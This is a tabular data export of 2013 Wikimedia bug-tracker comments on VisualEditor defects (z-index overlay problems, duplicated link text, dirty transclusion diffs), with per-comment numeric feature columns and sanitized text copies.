252908,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","(Firefox 21.0, Windows 7)",,,1372263239,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,"(Firefox 21.0, Windows 7)"
52159,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu","Screenshot

I am unable to click ob the icon to open the image/caption dialog, see screenshot. Instead a cross to move the image is shown.

--------------------------
**Version**: unspecified
**Severity**: trivial

**Attached**: {F11665}",Unbreak Now!,100.0,1372146600,1372379698.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-k6rdk2swblj7w4zhblsz,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,12.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5762711864406778,0.6271186440677966,"Screenshot

I am unable to click ob the icon to open the image/caption dialog, see screenshot. Instead a cross to move the image is shown.

--------------------------
**Version**: unspecified
**Severity**: trivial

**Attached**: {F11665}"
248247,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu",Fixed and will be going out in a few minutes.,,,1372379698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,True,,,-1,,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.272727272727273,1.0,Fixed and will be going out in a few minutes.
248241,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu","Change 70859 merged by jenkins-bot:
Local Overlay Stacks

https://gerrit.wikimedia.org/r/70859",,,1372379566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,"Change 70859 merged by jenkins-bot:
Local Overlay Stacks

GERRIT_URL"
248233,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu","Change 70859 had a related patch set uploaded by Jforrester:
Local Overlay Stacks

https://gerrit.wikimedia.org/r/70859",,,1372361704,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,35.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.823529411764706,1.0,"Change 70859 had a related patch set uploaded by Jforrester:
Local Overlay Stacks

GERRIT_URL"
248226,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu",Also in Safari 6 for me.,,,1372270138,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,29.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.7142857142857144,1.0,Also in Safari 6 for me.
248219,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu",I confirm this in Firefox 21 on enwp.,,,1372187179,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,22.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,I confirm this in Firefox 21 on enwp.
52140,VisualEditor: Link inspector creates the text twice if not running on a selection,"When using the control/command+k shortcut, and manually typing the text of the desired page to be linked, duplicate links are produced.  See http://en.wikipedia.org/w/index.php?title=User:PEarley_%28WMF%29/sandbox&diff=prev&oldid=561424914

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1372115280,1372264523.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ih6vrsjge6cjapq5orey,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.127659574468085,0.7446808510638298,"When using the control/command+k shortcut, and manually typing the text of the desired page to be linked, duplicate links are produced.  See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
247267,VisualEditor: Link inspector creates the text twice if not running on a selection,"(In reply to comment #5)
> Great! Thanks for the quick response, James and team!

Our pleasure; sorry it happened in the first place.",,,1372266003,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.227272727272727,1.0,"(In reply to comment #5)
QUOTE

Our pleasure; sorry it happened in the first place."
247261,VisualEditor: Link inspector creates the text twice if not running on a selection,"Great! Thanks for the quick response, James and team!",,,1372265845,,PHID-USER-kqwh3rvfxxh3wfsft7mu,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9166666666666666,"Great! Thanks for the quick response, James and team!"
247255,VisualEditor: Link inspector creates the text twice if not running on a selection,Fixed and being deployed right now.,,,1372264523,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Fixed and being deployed right now.
247249,VisualEditor: Link inspector creates the text twice if not running on a selection,Related URL: https://gerrit.wikimedia.org/r/70623 (Gerrit Change I8c68468a95cddbc7efb222cf3a1f9868b2949285),,,1372251641,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8c68468a95cddbc7efb222cf3a1f9868b2949285)
247242,VisualEditor: Link inspector creates the text twice if not running on a selection,*** Bug 50188 has been marked as a duplicate of this bug. ***,,,1372214415,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50188 has been marked as a duplicate of this bug. ***
247238,VisualEditor: Link inspector creates the text twice if not running on a selection,Confirmed - happens whenever you use the link inspector on a non-selection (slug or otherwise). Ed?,,,1372115781,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,9.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9545454545454546,Confirmed - happens whenever you use the link inspector on a non-selection (slug or otherwise). Ed?
52129,VisualEditor: Transclusions not properly round-tripped,"When doing a simple test edit on https://en.wikipedia.org/wiki/Chloroplast?veaction=edit and then previewing the diff, several transclusions of the form {{expand section|..}} show up with dirty diffs. This is very likely a DOM corruption in the VE that disables selective serialization.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/wiki/Chloroplast?veaction=edit
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50070",Unbreak Now!,100.0,1372106580,1372708719.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_description,resolved,True,c1,2,True,False,True,-1,,1.0,0.0,1.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,14.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5783132530120483,0.6265060240963856,"When doing a simple test edit on URL and then previewing the diff, several transclusions of the form {{expand section|..}} show up with dirty diffs. This is very likely a DOM corruption in the VE that disables selective serialization.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
246566,VisualEditor: Transclusions not properly round-tripped,"I don't see the Dub Jones issue any more, so that appears to be fixed.

There was also an independent Parsoid issue that resulted in incomplete DSR on transclusions, which is now also fixed. 

If you don't see this issue any more then this bug can be closed as fixed.",,,1372704161,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,5.0,3.0,5.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,2.0,2.0,0.0,14.0,10.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,12.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,3.711864406779661,0.711864406779661,"I don't see the Dub Jones issue any more, so that appears to be fixed.

There was also an independent Parsoid issue that resulted in incomplete DSR on transclusions, which is now also fixed. 

If you don't see this issue any more then this bug can be closed as fixed."
246560,VisualEditor: Transclusions not properly round-tripped,"(In reply to comment #7)
> Another case:
> https://en.wikipedia.org/w/index.
> php?title=Dub_Jones_%28American_football%29&curid=5240085&diff=561834911&oldi
> d=561833425
WFM when I tried to reproduce at http://en.wikipedia.org/wiki/User:Catrope/Dub_Jones?veaction=edit . VE's sanity check says the DOM is clean. I believe these failures are due to cached content or some sort of bug in Parsoid/selser.",,,1372701493,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,22.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,13.0,15.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.309090909090909,0.7818181818181819,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
WFM when I tried to reproduce at URL . VE's sanity check says the DOM is clean. I believe these failures are due to cached content or some sort of bug in Parsoid/selser."
246552,VisualEditor: Transclusions not properly round-tripped,"Another case:
https://en.wikipedia.org/w/index.php?title=Dub_Jones_%28American_football%29&curid=5240085&diff=561834911&oldid=561833425",,,1372355719,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Another case:
URL"
246544,VisualEditor: Transclusions not properly round-tripped,"Another example where an unmodified template was dirtied:

https://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2FVE%2FGNoSR&diff=561782383&oldid=561781680

Since our DOM diff is so simple I have a lot of faith in it. Did you diff the template DOM fragment after making an unrelated change?",,,1372314964,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,17.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,10.0,5.0,2.0,0.0,0.0,10.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,4.0,0.8780487804878049,"Another example where an unmodified template was dirtied:

URL

Since our DOM diff is so simple I have a lot of faith in it. Did you diff the template DOM fragment after making an unrelated change?"
246537,VisualEditor: Transclusions not properly round-tripped,"(In reply to comment #4)
> At least one {{expand section|..}} transclusion still dirty-diffs.
> 
> This will soon not show up as a diff any more because we improved our native
> serialization, but it seems that the VE still dirties the transclusion, which
> needs to be fixed.
It doesn't seem to be dirtied by VE directly. On [[Chloroplast]], I get a clean diff if I don't make any changes, but a dirty diff if I make any change at all. This leads me to suspect a selser / DOMDiffer bug.

Will try to produce a minimal test case and investigate from there.",,,1372292154,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,False,,,-1,,3.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,18.0,2.0,2.0,8.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,6.0,13.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,3.1839080459770117,0.6781609195402298,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
It doesn't seem to be dirtied by VE directly. On [[Chloroplast]], I get a clean diff if I don't make any changes, but a dirty diff if I make any change at all. This leads me to suspect a selser / DOMDiffer bug.

Will try to produce a minimal test case and investigate from there."
246529,VisualEditor: Transclusions not properly round-tripped,"At least one {{expand section|..}} transclusion still dirty-diffs.

This will soon not show up as a diff any more because we improved our native serialization, but it seems that the VE still dirties the transclusion, which needs to be fixed.",,,1372291914,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,2.0,0.0,0.0,2.0,2.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,3.9038461538461537,0.8653846153846154,"At least one {{expand section|..}} transclusion still dirty-diffs.

This will soon not show up as a diff any more because we improved our native serialization, but it seems that the VE still dirties the transclusion, which needs to be fixed."
246522,VisualEditor: Transclusions not properly round-tripped,"

*** This bug has been marked as a duplicate of bug 50070 ***",,,1372127871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50070 ***"
246515,VisualEditor: Transclusions not properly round-tripped,The nowiki escaping in Schuylar_Oordt is Parsoid bug 50144. It would normally be hidden with selective serialization.,,,1372123167,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,The nowiki escaping in Schuylar_Oordt is Parsoid bug 50144. It would normally be hidden with selective serialization.
246508,VisualEditor: Transclusions not properly round-tripped,"Some more examples from https://en.wikipedia.org/w/index.php?namespace=&tagfilter=visualeditor&title=Special%3ARecentChanges:

https://en.wikipedia.org/w/index.php?title=Eugenio_Fojo&curid=33949576&diff=561434486&oldid=561304103
